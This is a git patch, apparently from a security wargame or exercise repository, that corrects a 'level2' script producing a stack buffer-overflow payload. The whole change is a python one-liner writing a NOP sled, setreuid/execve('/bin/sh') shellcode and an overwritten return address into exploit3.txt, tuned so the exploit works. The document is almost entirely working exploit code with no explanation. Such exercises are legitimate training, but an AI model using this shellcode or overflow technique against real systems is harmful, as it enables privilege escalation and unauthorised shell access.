From d7e477978f85ee1029792240d9200fc4a83aec7c Mon Sep 17 00:00:00 2001 From: gbrochar Date: Tue, 18 Mar 2025 09:45:29 +0100 Subject: [PATCH] fix: level2 script was wrong --- level2/Ressources/bash_command | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/level2/Ressources/bash_command b/level2/Ressources/bash_command index 4c377d8..ec0eac3 100755 --- a/level2/Ressources/bash_command +++ b/level2/Ressources/bash_command @@ -1,2 +1 @@ -#!/bin/sh -rm -f exploit3.txt && python -c "print('\x90'*34+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x00\xf7\xff\xbf')" > exploit3.txt +rm -f exploit3.txt && python -c "print('\x90'*17+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x90'*17+'\x18\xa0\x04\x08')" > exploit3.txt